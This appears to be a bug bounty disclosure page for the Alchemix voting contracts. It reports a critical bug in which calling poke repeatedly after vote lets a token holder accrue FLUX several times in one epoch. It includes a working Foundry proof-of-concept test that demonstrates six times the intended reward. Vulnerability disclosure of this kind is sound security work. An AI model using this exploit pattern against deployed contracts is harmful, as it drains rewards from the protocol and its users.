31483 - [SC - Critical] Users can vote multiple times in one epoch
Previous31481 - [SC - Critical] Undound FLUX accrual through reset and mergeNext31484 - [SC - High] Rewards for the first epoch at rewards distribu...
Last updated
Was this helpful?
Last updated
Was this helpful?
Was this helpful?
function testVoteWithoutLimit() external {
// create lock token for user
uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, veALCX.MAXTIME(), false);
// calculate the amount flux tokens that user should be able to claim in this epoch
uint256 token1Flux = veALCX.claimableFlux(tokenId1);
// assert user has no unclaimed flux
uint256 unclaimedFlux1Start = flux.getUnclaimedFlux(tokenId1);
assertEq(unclaimedFlux1Start, 0, "should start with no unclaimed flux");
address[] memory pools = new address[](1);
pools[0] = sushiPoolAddress;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
// vote and calling poke multiple times
hevm.prank(admin);
voter.vote(tokenId1, pools, weights, 0);
hevm.prank(admin);
voter.poke(tokenId1);
hevm.prank(admin);
voter.poke(tokenId1);
hevm.prank(admin);
voter.poke(tokenId1);
hevm.prank(admin);
voter.poke(tokenId1);
hevm.prank(admin);
voter.poke(tokenId1);
// as we see user has received 6 times more rewards as we called poke multiple times
uint256 actualFluxClaimed = 6 * token1Flux;
uint256 unclaimedFlux1End = flux.getUnclaimedFlux(tokenId1);
assertEq(actualFluxClaimed, unclaimedFlux1End);
}